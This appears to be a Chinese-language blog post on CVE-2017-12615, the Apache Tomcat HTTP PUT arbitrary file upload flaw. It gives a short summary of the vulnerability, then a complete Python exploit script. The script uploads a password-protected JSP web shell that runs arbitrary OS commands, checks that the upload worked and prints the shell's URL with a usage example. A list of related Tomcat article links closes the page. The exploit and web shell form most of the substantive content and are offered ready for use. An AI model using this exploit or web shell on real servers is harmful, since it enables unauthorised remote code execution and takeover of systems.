CVE-2017-12615 Tomcat PUT方法任意写文件漏洞

简介: CVE-2017-12615 Tomcat PUT方法任意写文件漏洞

漏洞简介

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

漏洞的产生是由于配置不当(非默认配置),将配置文件(

conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法

漏洞复现

对根目录进行抓包

mport requests
import sys
import time
'''
Usage:
  python CVE-2017-12615.py http://127.0.0.1
  shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
'''
def attack(url):
  user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
  headers={"User-Agent":user_agent}
  data="""<%
    if("fff".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>"""
  try:
    requests.put(url, headers=headers, data=data)
    time.sleep(2)
    verify_response = requests.get(url[:-1], headers=headers)
    if verify_response.status_code == 200:
      print 'success!'
    else :
      print verify_response.status_code
  except :
    "error"
if __name__ == '__main__':
  target_url = sys.argv[1] + '/201712615.jsp/'
  attack(target_url)
  print 'shell: ' + target_url[:-1]

pwd是密码,脚本里面可以修改,cmd是执行的命令

相关文章
|
4月前
|
安全 Java 应用服务中间件
Tomcat弱口令+后端getshell漏洞
Tomcat弱口令+后端getshell漏洞
109 6
|
2月前
apache+tomcat配置多站点集群的方法
apache+tomcat配置多站点集群的方法
40 4
|
4月前
|
Ubuntu Java 应用服务中间件
在Ubuntu 16.04上安装Apache Tomcat 8的方法
在Ubuntu 16.04上安装Apache Tomcat 8的方法
54 0
|
4月前
|
安全 Java 应用服务中间件
在CentOS 7上安装Apache Tomcat 8的方法
在CentOS 7上安装Apache Tomcat 8的方法
164 0
|
4月前
|
Java 应用服务中间件 Apache
在 Debian 服务器上安装和配置 Apache Tomcat 的方法
在 Debian 服务器上安装和配置 Apache Tomcat 的方法
79 0
|
7月前
|
负载均衡 前端开发 应用服务中间件
Nginx+Tomcat负载均衡配置_nginx做tomcat的负载均衡成功,但tomcat的css文件400
Nginx+Tomcat负载均衡配置_nginx做tomcat的负载均衡成功,但tomcat的css文件400
|
7月前
|
负载均衡 前端开发 应用服务中间件
Nginx+Tomcat负载均衡配置_nginx做tomcat的负载均衡成功,但tomcat的css文件400(2)
Nginx+Tomcat负载均衡配置_nginx做tomcat的负载均衡成功,但tomcat的css文件400(2)
|
7月前
|
前端开发 JavaScript Java
从零手写实现 tomcat-10-static resource 静态资源文件
该文档记录了作者为理解Tomcat精髓,动手从零开始实现一个简化版Tomcat的过程。系列教程包括对web.xml的解析、基础的Socket实现、请求响应抽象、Servlet支持、线程池处理、WAR包解析及与SpringBoot集成等。文章以静态资源处理为例,介绍了如何接收HTTP请求,查找并返回文件内容,以及处理失败情况。代码示例展示了静态资源的分发逻辑。项目已开源,可在GitHub上访问[https://github.com/houbb/minicat](https://github.com/houbb/minicat)。
|
7月前
|
Java 应用服务中间件
解决tomcat启动报错:无法在web.xml或使用此应用程序部署的jar文件中解析绝对的url [http:java.sun.com/jsp/jstl/core]
解决tomcat启动报错:无法在web.xml或使用此应用程序部署的jar文件中解析绝对的url [http:java.sun.com/jsp/jstl/core]
1641 1